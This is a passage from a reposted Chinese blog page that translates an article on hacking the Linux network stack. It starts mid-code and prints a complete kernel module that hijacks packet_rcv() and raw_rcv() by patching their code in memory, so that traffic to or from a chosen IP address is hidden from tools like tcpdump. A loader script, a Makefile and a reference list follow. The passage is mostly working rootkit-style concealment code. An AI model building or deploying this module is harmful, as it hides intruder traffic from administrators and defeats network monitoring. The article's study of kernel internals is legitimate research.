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(转载)深入Linux网络核心堆栈 (二)

作者：闵涛文章来源：闵涛的学习笔记点击数：2550 更新时间：2009/4/22 23:08:19

bsp; /* Flags for spinlock */
    int retval;

    /* Check if this is an IP packet going to or coming from our
     * hidden IP address. */
    if (skb->protocol == htons(ETH_P_IP))   /* IP packet */
      if (skb->nh.iph->saddr == IP || skb->nh.iph->daddr == IP)
    return 0;            /* Ignore this packet */

    /* Call original */
    HIJACK_LOCK;
    memcpy((char *)pr, pr_orig, CODESIZE);
    retval = pr(skb, dev, pt);
    memcpy((char *)pr, pr_code, CODESIZE);
    HIJACK_UNLOCK;

    return retval;
}

/* Replacement for raw_rcv(). This is currently setup to hide
* all packets with a source or destination IP address that we
* specify. */
int hacked_rr(struct sock *sock, struct sk_buff *skb)
{
    int sl_flags;               /* Flags for spinlock */
    int retval;

    /* Check if this is an IP packet going to or coming from our
     * hidden IP address. */
    if (skb->protocol == htons(ETH_P_IP))   /* IP packet */
      if (skb->nh.iph->saddr == IP || skb->nh.iph->daddr == IP)
    return 0;            /* Ignore this packet */

    /* Call original */
    HIJACK_LOCK;
    memcpy((char *)rr, rr_orig, CODESIZE);
    retval = rr(sock, skb);
    memcpy((char *)rr, rr_code, CODESIZE);
    HIJACK_UNLOCK;

    return retval;
}

int init_module()
{
    int sl_flags;               /* Flags for spinlock */

    /* pr & rr set as module parameters. If zero or < PAGE_OFFSET
     * (which we treat as the lower bound of kernel memory), then
     * we will not install the hacks. */
    if ((unsigned int)pr == 0 || (unsigned int)pr < PAGE_OFFSET) {
    printk("Address for packet_rcv() not valid! (%08x)\n",
           (int)pr);
    return -1;
    }
    if ((unsigned int)rr == 0 || (unsigned int)rr < PAGE_OFFSET) {
    printk("Address for raw_rcv() not valid! (%08x)\n",
           (int)rr);
    return -1;
    }

    *(unsigned int *)(pr_code + 1) = (unsigned int)hacked_pr;
    *(unsigned int *)(rr_code + 1) = (unsigned int)hacked_rr;

    HIJACK_LOCK;
    memcpy(pr_orig, (char *)pr, CODESIZE);
    memcpy((char *)pr, pr_code, CODESIZE);
    memcpy(rr_orig, (char *)rr, CODESIZE);
    memcpy((char *)rr, rr_code, CODESIZE);
    HIJACK_UNLOCK;

    EXPORT_NO_SYMBOLS;

    return 0;
}

void cleanup_module()
{
    int sl_flags;

    lock_kernel();

    HIJACK_LOCK;
    memcpy((char *)pr, pr_orig, CODESIZE);
    memcpy((char *)rr, rr_orig, CODESIZE);
    HIJACK_UNLOCK;

    unlock_kernel();
}
<-->

<++> pcaphide/loader.sh
#!/bin/sh
#  Written by  grem, 30th June 2003
#  Hacked by bioforge, 30th June 2003

if [ "$1" = "" ]; then
        echo "Use: $0 <System.map>";
        exit;
fi

MAP="$1"
PR=`cat $MAP | grep -w "packet_rcv" | cut -c 1-16`
RR=`cat $MAP | grep -w "raw_rcv" | cut -c 1-16`

if [ "$PR" = "" ]; then
        PR="00000000"
fi
if [ "$RR" = "" ]; then
        RR="00000000"
fi

echo "insmod pcap_block.o pr=0x$PR rr=0x$RR"

# Now do the actual call to insmod
insmod pcap_block.o pr=0x$PR rr=0x$RR
<-->

<++> pcaphide/Makefile
CC= gcc
CFLAGS= -Wall -O2 -fomit-frame-pointer
INCLUDES= -I/usr/src/linux/include
OBJS= pcap_block.o

.c.o:
    $(CC) -c $< -o $@ $(CFLAGS) $(INCLUDES)

all: $(OBJS)

clean:
    rm -rf *.o
    rm -rf ./*~
<-->

------[ 参考文献

该附录包含写本文过程中用到的参考文献的列表。

[1]  The tcpdump group
      http://www.tcpdump.org
[2]  The Packet Factory
      http://www.packetfactory.net
[3]  My network tools page -
      http://uqconnect.net/~zzoklan/software/#net_tools
[4]  Silvio Cesare''''s Kernel Function Hijacking article
      http://vx.netlux.org/lib/vsc08.html
[5]  Man pages for:
    - raw (7)
    - packet (7)
    - tcpdump (1)
[6]  Linux kernel source files. In particular:
    - net/packet/af_packet.c     (for  packet_rcv())
    - net/ipv4/raw.c             (for  raw_rcv())
    - net/core/dev.c
    - net/ipv4/netfilter/*
[7] Harald Welte''''s Journey of a packet through the Linux 2.4 network
     stack
     http://gnumonks.org/ftp/pub/doc/packet-journey-2.4.html
[8] The Netfilter documentation page
     http://www.netfilter.org/documentation
[9] Phrack 55 - File 12 -
     http://www.phrack.org/show.php?p=55&a=12
[A] Linux Device Drivers 2nd Ed. by Alessandro Rubini et al.
[B] Inside the Linux Packet Filter. A Linux Journal article
     http://www.linuxjournal.com/article.php?sid=4852

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